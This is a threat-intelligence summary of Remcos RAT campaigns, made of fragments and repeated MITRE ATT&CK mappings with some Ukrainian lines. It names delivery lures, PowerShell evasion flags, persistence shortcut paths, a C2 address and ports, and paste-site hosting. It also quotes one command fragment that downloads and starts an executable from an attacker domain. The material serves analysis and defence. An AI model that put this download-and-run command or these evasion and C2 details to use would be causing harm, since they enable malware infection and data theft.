RemcosRAT

MITRE ATT&CK T1583.003 — Virtual Private Server (PFCLOUD, ThinkHuge, OMEGATECH)

MITRE ATT&CK Mapping Tactic Technique ID Implementation Initial Access Phishing: Spearphishing Attachment T1566.001 Email with "Bank slip.exe", "Payment Advice.exe"

основним каналом доставки шкідливих програм є популярні месенджери, а методи первинного проникнення передбачають використання елементів соціальної інженерії

Execution Windows Management Instrumentation T1047 Win32_Process.Create() hidden window launch

The PowerShell runs with the standard evasion flags: -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden.

Execution VBScript T1059.005 HTA VBScript execution in mshta.exe

Execution JavaScript T1059.007 WScript execution of obfuscated JS dropper

MITRE ATT&CK Mapping Tactic Technique ID Implementation Execution Command and Scripting: AutoIt T1059.010 AutoIt-compiled loader with WRSJLIM cipher

Execution Shared Modules T1129 .NET Assembly.Load() for DEV.dll reflective loading

під час якого останньому передається файл (архів) з проханням допомогти у його відкритті/обробці

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Patchhelp_beta.lnk ... Streamsvc.lnk ... appBg.lnk

MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Process Injection T1055 VirtualAlloc RWX + DllCallAddress shellcode execution

Defense Evasion Process Hollowing T1055.012 Aspnet_compiler.exe hollowed via NT API

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Patchhelp_beta.lnk ... Streamsvc.lnk ... appBg.lnk

Privilege Escalation Bypass UAC T1548.002 Registry: EnableLUA = 0 modification

Defense Evasion Obfuscated Files or Information T1027 Whitespace padding, random case, base64, delimiter-based concatenation

Defense Evasion Masquerading T1036 Abuse of Msbuild.exe as LOLBin host

MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Masquerading: Invalid Code Signature T1036.001 Stolen/abused code signing certs

MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Process Injection T1055 VirtualAlloc RWX + DllCallAddress shellcode execution

Defense Evasion Process Hollowing T1055.012 Aspnet_compiler.exe hollowed via NT API

Defense Evasion Deobfuscate/Decode Files T1140 Base64, UTF-16LE, delimiter stripping

Defense Evasion Virtualization/Sandbox Evasion T1497 3-second sleep timer

MITRE ATT&CK Mapping Technique ID Usage Reflective Code Loading T1620 Go-based reflective PE loader (both v1 and v2)

Credential Access Keylogging T1056.001 Continuous keylogging to logs.dat

Credential Access Credentials from Password Stores T1555 Outlook credential theft via Nirsoft tools

Defense Evasion Virtualization/Sandbox Evasion T1497 3-second sleep timer

Credential Access Keylogging T1056.001 Continuous keylogging to logs.dat

Collection Screen Capture T1113 Periodic screenshots to Screenshots/ directory

Collection Email Collection T1114 Outlook account access

Collection Audio Capture T1123 5-second audio recording clips

Collection Video Capture T1125 Camera access via OpenCamera/CloseCamera

Command and Control Application Layer Protocol T1071 TLS-encrypted C2 on port 14646

The RAT -- compiled February 3, 2026 -- phones home to a dedicated C2 at 216.250.249.222 on ports 80 and 443 using Remcos proprietary protocol (not HTTP, not TLS -- raw TCP masquerading on web ports).

Command and Control Web Service T1102 Paste services (pastefy.app, pastes.io) for payload hosting

-uri http://yeah-biches.kyiv.ua/securitycheck.exe -OutFile securitycheck.exe; start securitycheck.exe

REMCOSRAT ... XWORM

Command and Control Dynamic Resolution T1568.002 DuckDNS for C2 domain resolution

Command and Control Non-Standard Port T1571 Remcos protocol on ports 80/443 (not HTTP/TLS)

Command and Control Encrypted Channel T1573 Optional TLS mode available in configuration

SIGTOP та TUSC використовуються для викрадення та вивантаження даних з ЕОМ